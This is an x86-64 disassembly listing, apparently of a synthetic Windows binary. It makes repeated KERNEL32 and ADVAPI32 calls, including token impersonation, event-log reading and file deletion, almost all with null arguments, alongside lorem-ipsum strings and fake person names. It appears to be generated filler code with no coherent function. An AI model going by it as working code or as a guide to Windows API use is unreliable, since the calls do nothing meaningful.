xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rax, qword [0x004caa00]
mov ecx, 0x95a9e78c
mov dword [rax], 0xfab26a42
call fcn.00414620
mov rdx, qword [0x004ca6b0]
mov dword [rdx], eax
mov rax, qword [0x004ca310]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca5e0]
mov ecx, 0x25375aae
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cae20]
mov rbx, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov dword [rdx], eax
call rbx
xor edx, edx
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
call r14
mov rax, qword [0x004ca2d0]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca450]
mov rsi, qword [0x004cae40]
mov dword [rdx], eax
mov rax, qword [0x004cad20]
xor edx, edx
mov eax, dword [rax]
mov dword [rsi], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor ecx, ecx
call rbx
xor r9d, r9d
xor r8d, r8d
mov rsi, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rsi
mov rax, qword [0x004ca730]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf70]
xor ecx, ecx
mov dword [rdx], eax
call r12
mov rax, qword [0x004ca610]
mov rdx, qword [0x004ca270]
lea rcx, str.Nihil_sed_quia_praesentium_ut_beatae_aliquid_nihil_ad_vel_voluptates
mov eax, dword [rax]
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
xor ecx, ecx
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov r10, qword [rsp + 0x58]
xor edx, edx
xor ecx, ecx
call r10
mov rax, qword [0x004ca4f0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cad50]
mov dword [rax], edx
mov rax, qword [0x004ca330]
mov dword [rax], 0x3959cf06
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
call r13
mov r10, qword [0x004cab30]
xor r9d, r9d
xor r8d, r8d
mov rax, qword [0x004ca280]
mov edx, dword [r10]
mov dword [rax], edx
mov rax, qword [0x004cab50]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x6ad52459
mov dword [rsp + 0x20], 0
call rsi
xor ecx, ecx
call rbx
mov rax, qword [0x004ca5c0]
mov r11, qword [rsp + 0x50]
xor ecx, ecx
mov dword [rax], 0xb2d4698e
call r11
mov rax, qword [0x004ca700]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caec0]
mov dword [rax], edx
mov rax, qword [0x004ca790]
mov edx, dword [rax]
mov rax, qword [0x004ca720]
mov dword [rax], edx
mov rax, qword [str.7U5]
xor edx, edx
mov dword [rax], 0x87740db
mov rax, qword [0x004ca380]
mov dword [rax], 0x31b32948
mov rax, qword [0x004cac30]
mov dword [rax], 0x368f74d2
mov dword [rsp + 0x20], 0
call rsi
mov rax, qword [0x004caab0]
mov dword [rax], 0x3b62a4d8
mov rax, qword [0x004caf80]
mov edx, dword [rax]
mov rax, qword [0x004ca340]
mov dword [rax], edx
mov rax, qword [0x004ca250]
mov ecx, dword [rax]
call fcn.00414620
mov r10, qword [0x004cab30]
xor edx, edx
xor ecx, ecx
mov dword [r10], eax
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov ecx, 0xf00a54d7
call fcn.00414620
mov rdx, qword [0x004ca390]
mov rbx, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.MaiaSpencer
mov dword [rdx], eax
call rbx
mov ecx, 0x71227217
call fcn.00414620
mov ecx, 0xb4348e92
mov dword [r15], eax
call fcn.00414620
mov rdx, qword [0x004cae60]
mov dword [rdx], eax
mov rax, qword [0x004ca510]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca290]
mov dword [rdx], eax
mov rax, qword [0x004ca6e0]
mov dword [rax], 0xb534e051
mov rax, qword [0x004cab00]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca7c0]
mov dword [rcx], eax
xor ecx, ecx
call r13
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_GetFileType]
call r13
mov rax, qword [0x004caee0]
mov ecx, 0x4d990738
mov dword [rax], 0x447d8166
call fcn.00414620
mov rdx, qword [0x004caae0]
mov dword [rdx], eax
mov rax, qword [0x004ca5d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca1d0]
lea rcx, str.Maxime_sapiente_nisi_quae_et_facilis_inventore_amet_sit
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [0x004ca820]
xor ecx, ecx
mov dword [rax], 0x2b702439
call r12
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004ca460]
mov dword [rax], 0xbab3e8be
mov rax, qword [0x004ca770]
mov dword [rax], 0xe488784e
mov rax, qword [0x004ca810]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca990]
xor ecx, ecx
mov dword [rdi], 0xaf755e44
mov dword [rdx], eax
mov rax, qword [0x004ca440]
mov edx, dword [rax]
mov rax, qword [0x004ca320]
mov dword [rax], edx
mov rax, qword [0x004ca7a0]
mov rdx, qword [0x004ca270]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca500]
mov edx, dword [rax]
mov rax, qword [0x004caf60]
mov dword [rax], edx
mov rax, qword [0x004cac80]
xor edx, edx
mov dword [rax], 0x2d03c4ee
call rbp
xor ecx, ecx
call r13
lea rcx, str.JaylinWelchII
call rbx
xor edx, edx
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call rsi
mov rax, qword [0x004ca7c0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cae40]
mov edx, dword [rax]
mov rax, qword [0x004ca5b0]
mov dword [rax], edx
mov rax, qword [0x004cae10]
mov dword [rax], 0x842a3e4e
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x69e1
jle 0x41f645
mov rbx, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call rbx
mov rax, qword [0x004ca440]
mov r15, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caa10]
mov dword [rax], edx
mov rax, qword [0x004ca660]
mov dword [rax], 0x32723959
call r15
mov r12, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004ca270]
xor edx, edx
lea rcx, str.Voluptatem_dolores_quos_unde
mov dword [rax], 0xc890abd6
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov rax, qword [0x004cad30]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca7e0]
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
call r12
mov rax, qword [0x004ca5f0]
mov rbp, qword [0x004ca9a0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbp], eax
call rbx
xor edx, edx
xor ecx, ecx
call r12
mov r11, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x58], r11
call r11
mov rdi, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
call rbx
mov rsi, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca480]
mov dword [rbp], 0x13fed2a2
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rax], 0xe5972730
call rbp
mov rax, qword [0x004ca260]
xor ecx, ecx
mov dword [rax], 0x1075ffc2
mov rax, qword [0x004cab00]
mov dword [rax], 0xb2f03c13
call r15
xor edx, edx
xor ecx, ecx
call rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov r13, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Quis_quod_ut_nam_ut_sunt_autem_commodi_saepe_minima_qui_labore_corrupti_molestias
call r13
mov rax, qword [0x004ca200]
mov dword [rax], 0xacebd267
mov rax, qword [0x004cadd0]
mov edx, dword [rax]
mov rax, qword [0x004cab60]
mov dword [rax], edx
mov rax, qword [0x004ca510]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caeb0]
xor ecx, ecx
mov dword [rdx], eax
call rbx
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004caba0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca2d0]
mov dword [rax], edx
xor edx, edx
call rsi
mov rax, qword [str.Z2iy]
lea rcx, str.Cum_ut_neque_laudantium_eveniet_nihil_omnis
mov edx, dword [rax]
mov rax, qword [0x004cad40]
mov dword [rax], edx
call r13
mov rax, qword [0x004ca560]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca3d0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea r8, str.Ut_omnis_est_dignissimos_iste
xor edx, edx
xor ecx, ecx
mov rdi, qword [sym.imp.KERNEL32.dll_OpenEventA]
call rdi
mov r14, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call r14
xor edx, edx
xor ecx, ecx
call rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov r8, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x50], r8
call r8
mov rax, qword [0x004ca570]
lea rdx, str.BroderickFritsch
lea rcx, str.Ipsam_sed_unde_et
mov dword [rax], 0x8fbef439
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov r13, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call r13
xor ecx, ecx
call r13
xor ecx, ecx
call rbp
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov r8, qword [rsp + 0x50]
xor ecx, ecx
call r8
xor edx, edx
xor ecx, ecx
call rsi
mov r10, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Ad_sed_distinctio
mov qword [rsp + 0x50], r10
call r10
mov rax, qword [0x004ca700]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca6b0]
mov dword [rcx], eax
mov ecx, 0xa06b572
call fcn.00414620
mov rdx, qword [0x004cac70]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca5e0]
mov edx, dword [rax]
mov rax, qword [0x004ca4f0]
mov dword [rax], edx
xor edx, edx
call rsi
xor ecx, ecx
xor edx, edx
call r12
xor r8d, r8d
mov r12, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call r14
xor edx, edx
xor ecx, ecx
lea r8, str.Distinctio_nobis_vero_voluptatem_libero_et_officia_molestiae_alias
call rdi
xor r9d, r9d
mov r11, qword [rsp + 0x58]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call r11
mov rax, qword [0x004cae60]
mov rsi, qword [0x004cadc0]
mov dword [rax], 0x76eb826d
mov rax, qword [0x004cadb0]
mov edx, dword [rax]
mov rax, qword [0x004ca280]
mov dword [rax], edx
mov rax, qword [0x004ca410]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004ca6b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7e0]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004caf40]
xor edx, edx
mov dword [rax], 0xb555d2fb
call r12
mov rax, qword [0x004ca9f0]
xor ecx, ecx
mov dword [rax], 0x767e2f96
mov rax, qword [0x004caed0]
mov dword [rax], 0xa8c1475b
call qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
call r15
mov r12, qword [0x004cade0]
mov rax, qword [0x004cac30]
mov ecx, dword [rsi]
mov edx, dword [r12]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004caf10]
mov r10, qword [rsp + 0x50]
lea rcx, str.NeldaJaskolski
mov dword [rdx], eax
call r10
xor ecx, ecx
call rbp
xor ecx, ecx
call rbp
xor edx, edx
lea r8, str.HeleneRohan
xor ecx, ecx
call rdi
lea r8, str.Et_tenetur_dolorem_autem
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004ca780]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca2a0]
mov dword [rax], edx
mov rax, qword [0x004ca6e0]
mov dword [rax], 0xc9a89c1b
call r14
xor ecx, ecx
call r13
xor ecx, ecx
call rbx
mov rax, qword [str.7U5]
mov ecx, 0xd7d2ce6d
mov dword [r12], 0x920ff34f
mov edx, dword [rax]
mov rax, qword [0x004ca1b0]
mov dword [rax], edx
call fcn.00414620
mov dword [rsi], eax
mov rax, qword [0x004ca460]
mov edx, dword [rax]
mov rax, qword [0x004ca3e0]
mov dword [rax], edx
lea rcx, [rsp + 0x194]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x2403
jle 0x41fe85
mov rax, qword [0x004ca7d0]
mov rdi, qword [0x004ca530]
xor ecx, ecx
mov r13, qword [0x004cac30]
mov r14, qword [0x004cae90]
mov eax, dword [rax]
mov dword [r14], 0xa23920ea
mov dword [rdi], eax
mov rax, qword [0x004ca5a0]
mov dword [rax], 0xc902c8ba
mov rax, qword [0x004cac20]
mov eax, dword [rax]
mov dword [r13], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov qword [rsp + 0x50], rax
call rax
mov r10, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x88], r10
call r10
xor r9d, r9d
xor r8d, r8d
mov r12, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x78], rax
call rax
mov rax, qword [0x004ca2b0]
mov ecx, dword [rax]
call fcn.00414620
mov rbp, qword [0x004ca690]
mov edx, dword [r14]
xor ecx, ecx
mov dword [rbp], eax
mov rax, qword [0x004cabb0]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov rsi, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Praesentium_recusandae_occaecati_sed_occaecati
lea rcx, str.CaseyRyan
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004ca6f0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab40]
mov rdi, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor ecx, ecx
lea r8, str.Recusandae_rem_quia
mov dword [rdx], eax
xor edx, edx
call rdi
lea rdx, str.YazminKonopelskiDVM
lea rcx, str.Natus_itaque_aut
call rsi
xor r9d, r9d
xor r8d, r8d
mov rbx, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rbx
xor edx, edx
mov r15, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call r15
mov ecx, dword [r13]
mov rax, qword [0x004caf40]
mov dword [rax], 0x4ac75398
call fcn.00414620
mov rcx, qword [0x004cae70]
lea rdx, str.Voluptates_distinctio_quaerat_voluptatem_in_et_occaecati_sint_aut
mov dword [rcx], eax
mov rax, qword [0x004caa50]
lea rcx, str.TravonWisoky
mov dword [rax], 0x707c8a43
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.AleneHuels
mov qword [rsp + 0x60], rax
call rax
mov r11, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.DonnellMarquardtI
mov qword [rsp + 0x80], r11
call r11
mov rax, qword [0x004ca680]
mov ecx, dword [rax]
call fcn.00414620
mov r13, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
mov dword [rbp], eax
mov rbp, qword [0x004ca540]
mov rax, qword [0x004ca550]
mov edx, dword [rbp]
mov dword [rax], edx
xor edx, edx
call r13
mov rax, qword [0x004cae10]
lea rdx, str.RaymundoDibbertJr
lea rcx, str.MagnoliaLangIV
mov dword [rax], 0x2619634d
mov rax, qword [0x004cadd0]
mov dword [rax], 0x7a0ce51c
mov rax, qword [0x004cad50]
mov dword [rax], 0xee675d29
call rsi
mov ecx, dword [r14]
call fcn.00414620
mov rdx, qword [0x004ca9d0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca560]
mov dword [rax], 0xdcf6e630
mov rax, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004ca780]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca310]
mov dword [rax], edx
xor edx, edx
call r15
mov rax, qword [0x004cae40]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rbp], eax
mov rax, qword [0x004cadf0]
mov edx, dword [rax]
mov rax, qword [0x004cae80]
mov dword [rax], edx
xor edx, edx
mov dword [rsp + 0x20], 0
call rbx
lea rdx, str.MrCruzHoppeDVM
lea rcx, str.Voluptatibus_neque_laboriosam_adipisci_distinctio
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca490]
mov rsi, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rax], 0xa59b2e0e
call rsi
mov rax, qword [0x004caf30]
lea rcx, str.Corporis_est_corporis_ab_aut_ut_libero_autem_excepturi_occaecati_ut_veritatis
mov dword [rax], 0x4a79fc71
mov rax, qword [0x004ca530]
mov edx, dword [rax]
mov rax, qword [0x004caf50]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x60]
call rax
mov r14, qword [0x004ca810]
mov rax, qword [0x004ca390]
xor ecx, ecx
mov edx, dword [r14]
mov dword [rax], edx
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov qword [rsp + 0x70], rax
call rax
mov ecx, dword [rbp]
call fcn.00414620
mov rdx, qword [0x004ca2e0]
xor ecx, ecx
mov dword [rdx], eax
mov edx, dword [r14]
mov rax, qword [0x004ca2a0]
mov dword [rax], edx
xor edx, edx
call r13
mov rax, qword [0x004caf20]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca450]
mov dword [rax], edx
xor edx, edx
call r12
mov r14, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call r14
xor edx, edx
xor ecx, ecx
lea r8, str.Ab_aliquam_unde_aut_sint_nemo_nobis_voluptates_voluptatum
call rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rbx
mov rax, qword [0x004cae50]
xor ecx, ecx
mov dword [rax], 0xbc02740
mov rax, qword [0x004ca4a0]
mov edx, dword [rax]
mov rax, qword [0x004caac0]
mov dword [rax], edx
mov rax, qword [rsp + 0x50]
call rax
mov ecx, 0x127d2efa
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca4f0]
mov dword [rdx], eax
mov rax, qword [0x004ca590]
xor edx, edx
mov dword [rax], 0x1da3aa2a
call r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [0x004cabe0]
mov ecx, 0xb8fb07db
mov dword [rax], 0x5d7e51df
mov rax, qword [0x004cab00]
mov edx, dword [rax]
mov rax, qword [0x004ca5b0]
mov dword [rax], edx
call fcn.00414620
xor edx, edx
xor ecx, ecx
mov dword [rbp], eax
call r13
mov rax, qword [0x004cad40]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [0x004ca530]
xor edx, edx
mov dword [rax], 0xa89b3273
mov rax, qword [0x004ca2d0]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004ca790]
xor ecx, ecx
mov dword [rax], 0xd5c3862b
mov dword [rsp + 0x20], 0
call rbx
mov r15, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call r15
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004cae10]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caa70]
mov dword [rax], edx
xor edx, edx
mov dword [rsp + 0x20], 0
call rbx
mov r12, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
call r12
mov rax, qword [0x004ca780]
mov ecx, 0xe7ac573f
mov edx, dword [rax]
mov rax, qword [0x004cac50]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca230]
mov dword [rdx], eax
mov rax, qword [0x004cae40]
mov ecx, dword [rax]
call fcn.00414620
xor ecx, ecx
mov dword [rbp], eax
mov rax, qword [rsp + 0x70]
call rax
mov r11, qword [rsp + 0x80]
lea rcx, str.Voluptatem_nemo_qui_esse
call r11
mov rax, qword [0x004caa50]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cabd0]
mov dword [rax], edx
mov rax, qword [rsp + 0x50]
call rax
mov rbp, qword [0x004ca1a0]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x004ca7c0]
mov r10, qword [rsp + 0x88]
mov eax, dword [rbp]
mov dword [rcx], eax
xor ecx, ecx
call r10
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor ecx, ecx
call r12
mov ecx, 0xe3c9cb54
call fcn.00414620
mov rdx, qword [0x004cac70]
xor ecx, ecx
mov dword [rdx], eax
call r14
mov rax, qword [0x004caa80]
xor edx, edx
xor ecx, ecx
lea r8, str.EugeniaLabadie
mov dword [rax], 0x259044a9
call rdi
mov rax, qword [0x004caca0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca260]
mov dword [rax], edx
call r15
mov rax, qword [0x004cae10]
mov rdx, qword [0x004cae50]
xor ecx, ecx
mov dword [rax], 0xbef533cc
mov rax, qword [0x004ca1e0]
mov eax, dword [rax]
mov dword [rdx], eax
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov rax, qword [0x004caf40]
xor ecx, ecx
mov dword [rax], 0xb554d94c
call r15
mov ecx, 0xe3185764
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x004cad40]
mov dword [rcx], eax
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call rbx
mov rax, qword [0x004ca4d0]
mov ecx, 0x89263e88
mov dword [rax], 0xbb7fedc5
call fcn.00414620
mov rdx, qword [0x004ca580]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca4f0]
mov dword [rax], 0x8e88b72a
call rsi
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004ca7c0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca5d0]
mov dword [rax], edx
mov rax, qword [str.7U5]
mov dword [rax], 0x67ae9d63
call r12
lea r8, str.Ut_molestias_officia_deleniti_nobis_quaerat_qui_id_ea_eligendi_quos_deserunt_et
xor edx, edx
xor ecx, ecx
call rdi
mov ecx, 0x84271da
call fcn.00414620
mov r13, qword [0x004ca320]
mov dword [r13], eax
mov rax, qword [0x004caa90]
mov dword [rax], 0xfa646c43
mov rax, qword [0x004ca460]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa50]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cae10]
mov dword [rax], 0xd51182e6
call r12
lea r8, str.JaniceJacobson
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cae70]
mov rdi, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cac10]
mov dword [rax], edx
xor edx, edx
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca230]
mov rcx, qword [0x004ca5a0]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, 0xd4e979be
call fcn.00414620
mov rdx, qword [0x004ca3e0]
mov ecx, 0x93f32627
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004caab0]
xor ecx, ecx
mov dword [rdx], eax
call rsi
xor edx, edx
xor ecx, ecx
call rdi
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbx
mov ecx, dword [rbp]
call fcn.00414620
mov rdx, qword [0x004caed0]
xor ecx, ecx
mov dword [r13], 0xdfdea99d
mov dword [rdx], eax
mov rax, qword [0x004ca9b0]
mov dword [rax], 0x488e0906
call rsi
mov rax, qword [0x004ca510]
xor ecx, ecx
mov dword [rax], 0x1f4ab3ea
mov rax, qword [rsp + 0x70]
call rax
mov ecx, 0xa2cf5e3c
call fcn.00414620
mov rsi, qword [0x004ca530]
mov dword [rsi], eax
mov rax, qword [0x004ca300]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004cae50]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rdi], eax
mov dword [rsp + 0x20], 0
call rbx
xor ecx, ecx
call r14
mov rax, qword [rsp + 0x60]
xor edx, edx
lea rcx, str.ClayHills
call rax
mov rax, qword [0x004cadc0]
mov rbx, qword [0x004cae10]
mov eax, dword [rax]
mov dword [rbx], eax
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x41fe98
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x41feab
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xe8]
test rcx, rcx
je 0x41febe
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xf0]
test rcx, rcx
je 0x41fed1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x110]
test rcx, rcx
je 0x41fee4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x41fef7
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x12ab
jle 0x42069d
mov rax, qword [0x004ca520]
mov rdi, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca630]
mov dword [rax], edx
call rdi
mov rax, qword [0x004ca330]
xor r9d, r9d
xor r8d, r8d
mov rsi, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cae30]
mov dword [rax], edx
xor edx, edx
call rsi
mov r12, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call r12
mov rax, qword [0x004ca310]
xor r9d, r9d
xor r8d, r8d
mov rbx, qword [0x004ca820]
xor edx, edx
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004cac60]
mov dword [rax], 0x751f2a87
mov rax, qword [0x004ca6e0]
mov dword [rax], 0x50d6cd10
mov rax, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x50], rax
call rax
mov rbp, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.NettieDooley
call rbp
mov ecx, 0x7b5f44b
call fcn.00414620
mov rbx, qword [0x004ca6b0]
xor ecx, ecx
mov dword [rbx], eax
call r12
mov rbx, qword [sym.imp.KERNEL32.dll_SetCommBreak]
